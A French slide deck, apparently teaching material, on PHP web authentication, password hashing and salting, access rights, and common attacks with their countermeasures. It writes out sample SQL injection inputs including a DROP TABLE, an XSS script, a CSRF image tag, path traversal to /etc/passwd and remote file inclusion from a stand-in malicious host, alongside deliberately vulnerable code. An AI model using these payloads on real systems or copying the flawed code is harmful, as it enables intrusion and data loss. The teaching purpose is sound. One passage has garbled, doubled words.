Authentification, droits d'accès et sécurité des applis web
Identification : savoir qui est l'utilisateur basé sur des nom de login enregistrés : base de données, annuaires, fichiers Authentification : être sur que c'est bien cette personne comparaison de mots de passes cryptés Droits d'accès : attribution de droits en fonction de l'identité authentifiée : résultat du processus de login contrôler que les utilisateurs accèdent à des ressources conformément à leur rôle : comparaison entre droits exigés et droits obtenus Contrôle pour chaque opération nécessitant un doit spécifique
Utilisation de variables de sessions pour le contrôle d'accès Principe : le profil de l'utilisateur (identité, droit) est chargé dans une variable de session lorsque l'authentification est réussie Contrôle : accès au profil stocké en session à chaque opération nécessitant des droits particuliers 4 opérations : Contrôle des credentials, chargement du profil en session Contrôle des droits attribués par rapport à une exigence création des utilisateurs
réaliser réaliser l'authentifi l'authentifi cation cation :: contrôler contrôler identifi identifi ant ant et et mot mot de de passe passe charger charger le le profi profi l l d'un d'un utlisateur utlisateur en en session session comparer comparer required required et et le le contenu contenu de de la la variable variable de de session session stockant stockant le le profi profi l l de de l'utilisateur l'utilisateur courant courant créer créer un un utilisateur utilisateur et et défi défi nir nir ses ses droits droits
gestion de la connexion contrôler les données fournies par l'utilisateur charger le profil en session : détruire puis re-créer la variable de session $u=$_post['uname']; $p=$_post['password']; try { Authentication::Authenticate($u,$p) ; Authentication::loadProfile( $u ) ; }catch (AuthException $ae) { echo bad login name or passwd<br>"; }
Une fonction/méthode de contrôle des droits accède à la variable de session compare le droit exigé et le droit obtenu $required_level = ADMIN_LEVEL; try { Authentication::checkAccessRights($required_level) ; } catch (AuthException $ae) { echo access denied!<br>"; }
création d'un utilisateur : enregistre l'identifiant et le mot de passe dans la base $u=$_post['uname']; $p=$_post['password']; try { Authentication::createUser($u,$p) ; }catch (AuthException $ae) { echo bad login name or passwd<br>"; }
Le processus d'authentification Principe : l'utilisateur fournit un couple (identifiant, mot de passe) Ce couple est comparé aux informations stockées dans la base Problème : sécuriser le processus Interception du mot de passe échangé entre le client et le serveur Vol des mots de passe dans la base Attaque force brute / dictionnaire
principes de base mots de passe difficiles à deviner Taille suffisamment longue Alphabet de grande taille (min., maj. chiffres, symboles) hors dictionnaire mots de passe inutiles s'ils sont interceptés ou volés Ne JAMAIS stocker un mot de passe en clair Ne JAMAIS envoyer un mot de passe en clair dans une requête HTTP
encodage des mots de passe les mots de passe sont encodés avec une fonction de hachage génère un cypher de taille fixe fonction non bijective : décodage impossible MD5 : cypher de 128 bits (16 octets) SHA-1 : cypher de 160 bits SHA-2 : cypher de 256/384/512 bits (sha-256, sha- 512) bcrypt : blowfish + itérations et sel En php : fonction hash Ex : $empreinte = hash('sha-256', $pass) ;
les attaques "force brute" Attaque par force brute ou dictionnaire Force brute : essayer toutes les combinaisons possibles Utiliser un dictionnaire de mots de passe : https://dazzlepod.com/uniqpass/ protection : Mots de passe longs, utilisant un large alphabet Nb de combinaisons : A L(P) Mots de passe hors dictionnaire fonction de hachage lente : itérer le hachage
attaques par table "arc-en-ciel" (rainbow table) les mots de passes sont stockés hachés Faire la comparaison mdp fourni / mdp stocké sur les hasch Attaque par table arc-en-ciel : On stocke les mdp hachés avec SHA256 dans la base La base est attaquée, les mdp haschés sont volés L'attaquant utilise une table inverse «arc-en-ciel» qui permet de retrouver un mot à partir d'un hash
contre-mesures «Saler» les mots de passes : ajouter un aléa avant de le crypter on stocke : E = hash( mdp + alea ) pour comparer : hash( fourni + alea ) == E?? Un sel unique connu de l'application Pb en cas : un mdp cassé met en danger tous les autres Un sel par mot de passe : Aléa généré lors de l'enregistrement initial du mot de passe Aléa stocké dans la base avec le mot de passe
en pratique (I) utiliser une politique de mots de passes : longueur, MAJ, min, etc sur le client : pour aider l'utilisateur sur le serveur : pour assurer la sécurité exemple avec la librairie ircmaxell/password-policy $policy = new \PasswordPolicy\Policy; $policy->contains('lowercase', $policy->atleast(2)); $policy->length( 6 ) ; $js = $policy->tojavascript() ; echo "var policy = $js" ; $result = $policy->check( $password ) ; utiliser une police en rapport avec le risque
en pratique (II) hachage et salage des mots de passe : utiliser bcrypt hachage blowfich, salage itérations paramétrables exemple avec la librairie ircmaxell/php-passwordlib // hacher un mot de passe $lib = new PasswordLib\PasswordLib(); $hash=$lib->createpasswordhash($password); $hash=$lib->createpasswordhash($password,'$2a$',array('cost'=> 12)); // vérifier un mot de passe $crypt = new PasswordLib\PasswordLib; if (!$crypt->verifypasswordhash($password, $hash)) { //Invalid Password! }
Résumé : Attaque force brute ou dictionnaire : imposer une longueur et un alphabet, ralentir le hachage (itération) Attaque par interception : mot de passe haché Attaque par table arc-en-ciel : mot de passe haché + salé
Le contrôle d'accès Lieux de contrôle minimum : dans chaque programme accessible via une URL dans les actions des différents contrôleurs de l'application
Différents modèle de droits Individuel : les droits sont attribués spécifiquement à chaque individu Rôle : les droits sont attribués à un rôle, les utlisateurs ont un rôle Différents types de droits par niveaux : hiérarchie de droits les droits à 1 niveau donnent accès aux niveaux inférieurs ''enregistré'' < ''moderateur'' <''admin'' <''superadmin'' par clés : l'exécution d'une opération nécessite de posséder une clé profil : ensemble de clés déterminant les opérations permises
Un exemple utilisateurs stockés dans une table droits d'accès par niveau la variable de session est un tableau
Structure de la variable de session array( username' => 'james007', 'userid' => 7, 'role_id' => 12, 'client_ip' => '201.456.23.128', 'auth-level' => 10000 ) la variable est créée et enregistrée dans la session au moment de la connexion par la méthode loadprofile() A chaque contrôle de droits : on accède à la variable de session pour vérifier son existence et sa valeur condition de validation des droits : $_SESSION[ 'profile'][ 'level' ] >= $required_level
class Authentication { public static createuser ( $username, $password ) { // vérifier la conformité de $password avec la police // si ok : hacher $password // créer et sauvegarder l'utilisateur } public static Authenticate ( $username, $password ) { // charger utilisateur $user // vérifier $user->hash == hash($password) // charger profil ($user->id) } private static loadprofile( $uid ) { // charger l'utilisateur et ses droits // détruire la variable de session // créer variable de session = profil chargé } public static checkaccessrights ( $required ) { si Authentication::$profil['level] < $required throw new AuthException ; }
Sécurité des applis web : quelques principes de base Les échanges entre le client et le serveur ne sont pas sûrs : il faut envisager la possibilité qu'ils soient détournés On ne connait pas la provenance des requêtes, même à l'intérieur d'une session Ne jamais faire confiance aux données fournies par l'utilisateur Variables GET/POST/COOKIE Fichiers uploadés
Injection SQL injection de commandes SQL dans l'application, pour éxecuter des requêtes non prévues <? $user=$_post['user']; $pass=$_post['pass']; $query="select * from users where uname='$user' AND upass='$pass'"; $res=mysql_query($query); if (mysql_num_rows($res) >0 ) { $auth=1;?> Supposons $_POST['user'] = "admin' #" Alors : $query = SELECT * from users where uname='admin' #' AND upass=''"; Cette requête retourne TOUJOURS une ligne!!!
Autres types d'injection Utiliser UNION pour étendre la requête Utiliser des conditions toujours vraies que l'on combine avec un OR Autre blague : public function findbyid($id) { $sel = '' select * from user where id = $id'' ; $pdo->query($query) ; } admib.php?a=disp&id=1;drop%20table%20user; select * from user where id = 1;DROP TABLE user;
Comment résister utiliser exclusivement des requêtes préparées : La requête exécutée est celle qui a été préparée Forcer les types des données reçues : Intval(), boolval(), strval() Filtrer les données reçues par l'application (GET, POST, COOKIE) pour éliminer le code SQL éventuellement présent limiter les droits de l'utilisateur se connectant à la base éviter de montrer la structure de la base : erreurs, noms des colonnes, des tables
Cross Site Scripting (XSS) Principe : insérer des balises html avec des scripts dans des données qui sont affichées par l'application <??> echo "votre recherche {$_POST['query']} a echoue <br>" ; Dans le formulaire, on saisit : "<script> alert("coucou Bilou");</script> Ou un script plus méchant!
Comment résister Filtrer les données reçues pour éliminer les scripts Fonctions: strip_tags() : retire TOUS les tags html d'une string htmlspecialchars() : convertit les caractères spéciaux html en caractères affichables : "<" < <?php $new = htmlspecialchars("<a href='test'>test</a>", ENT_QUOTES); echo $new; // <a href='test'>test</a>?>
Cross-Site Request Forgeries (CSRF) Principe : requêtes fabriquées par un site malveillant, exécutées par un utilisateur à son insu alors qu'il est éventuellement en cours de session sur votre site Exemples : 1. Vous êtes connecté, session en cours sur socio.pat.net 2. Quelqu'un y a uploadé un lien vers site.mechant.net 3. Vous cliquez sur lien, vous arrivez sur un formulaire, que, naïvement vous remplissez et postez 4. De manière amusante, l'action du formulaire que vous venez de poster est : http://socio.pat.net/home.php?a=del_gallery?id=1
Même problème avec les balises img : <img src="http://socio.pat.net/home.php?a=del_gallery&id=1" alt="" /> Ce lien peut simplement être inséré sur une page du site socio.pat.net La requête sera exécutée lors de l'accès à cette page
Comment résister Garantir que les requêtes sont issues de l'interface de votre application uniquement Principe : Ajouter un jeton aléatoire (par ex. hash('sha256', uniquid() ) ) Le jeton est stocké en session Il est ajouté dans un champ hidden des formulaires lors de la construction des vues Reçu et comparé lors du traitement des requêtes et/ou des formulaires
Sécurisation des sessions Problème : un attaquant obtient un identifiant de session et acquiert ainsi les droits associés Comment résister : Stocker l'@ IP du client dans la session, vérifier qu'elle ne change pas Générer un nouvel identifiant de session lorsque l'utilisateur change de rôle (e.g. Il s'authentifie, acquiert de nouveaux droits ) session_regenerate_id()
inclusion de fichiers distants La bonne blague : <? $page = $_GET['page']; include($page);?> http://monsite/index.php?page=../../../../etc/passwd Encore plus amusant : http://monsite/index.php?page=http://sitemechant/scriptmechant.php NE JAMAIS FAIRE UN INCLUDE/REQUIRE AVEC UN NOM PROVENANT DE L'EXTERIEUR
Autre cas d'école : fichiers textes.inc,.ini accessibles par une url /app/config/config.db.ini http://site/app/config.db.ini => la config db en clair!! solution = hors de DocRoot ou deny all dans.htaccess Fichiers uploadés : ATTENTION.html,.php, exécutables NE JAMAIS LES AFFICHER Les stocker de manière inaccessible à une url Les bannir si possible
Restreindre les informations Éviter d'exposer des informations sur votre environnement Error reporting dans un fichier de log uniquement Error_reporting=e_none Display_errors=false Pas de fichiers d'inclusion se terminant par.inc Cacher le fait que vous utilisez PHP Expose_php="off" L'extension par défaut peut aussi être changée (config apache)